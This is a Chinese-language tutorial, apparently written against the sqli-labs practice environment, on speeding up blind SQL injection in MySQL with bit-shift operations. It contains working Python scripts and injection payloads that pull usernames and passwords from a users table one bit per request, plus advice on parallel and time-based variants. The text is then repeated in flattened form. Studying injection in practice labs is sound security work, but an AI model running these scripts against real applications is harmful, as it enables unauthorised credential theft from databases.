关于"高效的SQL盲注-位运算"的二次探究
字数 987 2025-08-06 08:35:39

高效的SQL盲注-位运算技术详解

0x00 前言

SQL盲注位运算是一种高效的数据提取技术,相比传统方法具有显著优势。本文详细探讨了在MySQL中利用位运算进行SQL盲注的原理、实现方法和优化技巧。

0x01 位运算基础

核心位运算操作符

  1. 位左移(<<): 向左移位,高位丢弃,低位补0

    • 左移1位相当于乘以2
    • 左移n位相当于乘以2的n次方
  2. 位右移(>>): 向右移位,正数左补0,负数左补1,低位丢弃

    • 右移1位相当于除以2
    • 右移n位相当于除以2的n次方

示例说明

  • 2 << 1 = 4 (0000 0010 → 0000 0100)
  • 4 >> 2 = 1 (0000 0100 → 0000 0001)

0x02 位运算在SQL盲注中的应用原理

字符编码基础

  • 每个字符对应一个ASCII码值(0-127)
  • ASCII码用8位二进制表示(实际第一位总是0)

核心思路

通过位运算将字符的每一位依次移动到特定位置进行判断,每个请求确定一个二进制位。

示例分析(字符's')

  • ASCII码: 115
  • 二进制: 01110011
  • 判断过程:
    1. 115>>7=0 → 第一位为0
    2. 115>>6=1 → 第二位为1
    3. 115>>5=3 → 第三位为1
    4. 115>>4=7 → 第四位为1
    5. 115>>3=14 → 第五位为0
    6. 115>>2=28 → 第六位为0
    7. 115>>1=57 → 第七位为1
    8. 115>>0=115 → 第八位为1

0x03 基础实现脚本

import requests

def bitOperation(url):
    result = ""
    url_bak = url
    for len in range(1, 777):
        str = '0'  # 第一位总是0
        for i in range(0, 7):
            url = url.format(len, 6 - i, int(str + '0', 2))
            r = requests.get(url)
            if r.text.find("You are in") != -1:
                str += '0'
            else:
                str += '1'
            url = url_bak
        result += chr(int(str, 2))
        print(result)
        if int(str, 2) == 0:
            print("已超过此次查询字符串的长度,自动停止")
            return result
        if int(str, 2) == 127:
            print("查询内容不存在或语法错误...")
            return result
    return result

def main():
    url = "http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))>>{}={}-- -"
    bitOperation(url)

if __name__ == "__main__":
    main()

0x04 优化技术:位左移与位右移结合

MySQL数字存储特性

  • MySQL中数字默认以8字节(64位)表示
  • 需要调整位移量以适应64位存储

优化后的判断方法

-- 判断字符的每一位
ascii(substr((select user()),1,1))<<57>>63=0
ascii(substr((select user()),1,1))<<58>>63=0
...
ascii(substr((select user()),1,1))<<63>>63=0

优化后的Python实现

def bitOperation(url):
    result = ""
    url_bak = url
    for len in range(1, 777):
        str = '0'
        for bit in range(57, 64):
            url = url.format(len, bit)
            r = requests.get(url)
            if r.text.find("You are in") != -1:
                str += '0'
            else:
                str += '1'
            url = url_bak
        result += chr(int(str, 2))
        print(result)
        if int(str, 2) == 0:
            print("已超过此次查询字符串的长度,自动停止")
            return result
        if int(str, 2) == 127:
            print("查询内容不存在或语法错误...")
            return result
    return result

def main():
    url = "http://192.168.238.141/sqli-labs/Less-5/?id=1' and ascii(substr((select group_concat(concat_ws(0x7e,username,password)) from users),{},1))<<{}>>63=0-- -"
    bitOperation(url)

0x05 技术优势与总结

与传统方法对比

  1. 字符遍历法: 每个字符需要最多128次请求
  2. 二分法: 每个字符需要7-8次请求
  3. 位运算法: 每个字符固定7次请求(忽略第一位)

优化后优势

  1. 请求独立性: 各请求互不依赖,支持并行发送
  2. 时间盲注适用: 可与sleep()函数结合使用
  3. 效率稳定: 每个字符固定7次请求

最佳实践建议

  1. 对于布尔盲注,使用>>右移方式
  2. 对于时间盲注,考虑使用<<>>结合的方式实现并行请求
  3. 注意MySQL的64位数字特性,适当调整位移量

附录:参考资源

  1. 原始技术文章
  2. 示例代码仓库
高效的SQL盲注-位运算技术详解 0x00 前言 SQL盲注位运算是一种高效的数据提取技术,相比传统方法具有显著优势。本文详细探讨了在MySQL中利用位运算进行SQL盲注的原理、实现方法和优化技巧。 0x01 位运算基础 核心位运算操作符 位左移(<<) : 向左移位,高位丢弃,低位补0 左移1位相当于乘以2 左移n位相当于乘以2的n次方 位右移(>>) : 向右移位,正数左补0,负数左补1,低位丢弃 右移1位相当于除以2 右移n位相当于除以2的n次方 示例说明 2 << 1 = 4 (0000 0010 → 0000 0100) 4 >> 2 = 1 (0000 0100 → 0000 0001) 0x02 位运算在SQL盲注中的应用原理 字符编码基础 每个字符对应一个ASCII码值(0-127) ASCII码用8位二进制表示(实际第一位总是0) 核心思路 通过位运算将字符的每一位依次移动到特定位置进行判断,每个请求确定一个二进制位。 示例分析(字符's') ASCII码: 115 二进制: 01110011 判断过程: 115>>7=0 → 第一位为0 115>>6=1 → 第二位为1 115>>5=3 → 第三位为1 115>>4=7 → 第四位为1 115>>3=14 → 第五位为0 115>>2=28 → 第六位为0 115>>1=57 → 第七位为1 115>>0=115 → 第八位为1 0x03 基础实现脚本 0x04 优化技术:位左移与位右移结合 MySQL数字存储特性 MySQL中数字默认以8字节(64位)表示 需要调整位移量以适应64位存储 优化后的判断方法 优化后的Python实现 0x05 技术优势与总结 与传统方法对比 字符遍历法 : 每个字符需要最多128次请求 二分法 : 每个字符需要7-8次请求 位运算法 : 每个字符固定7次请求(忽略第一位) 优化后优势 请求独立性 : 各请求互不依赖,支持并行发送 时间盲注适用 : 可与sleep()函数结合使用 效率稳定 : 每个字符固定7次请求 最佳实践建议 对于布尔盲注,使用 >> 右移方式 对于时间盲注,考虑使用 << 和 >> 结合的方式实现并行请求 注意MySQL的64位数字特性,适当调整位移量 附录:参考资源 原始技术文章 示例代码仓库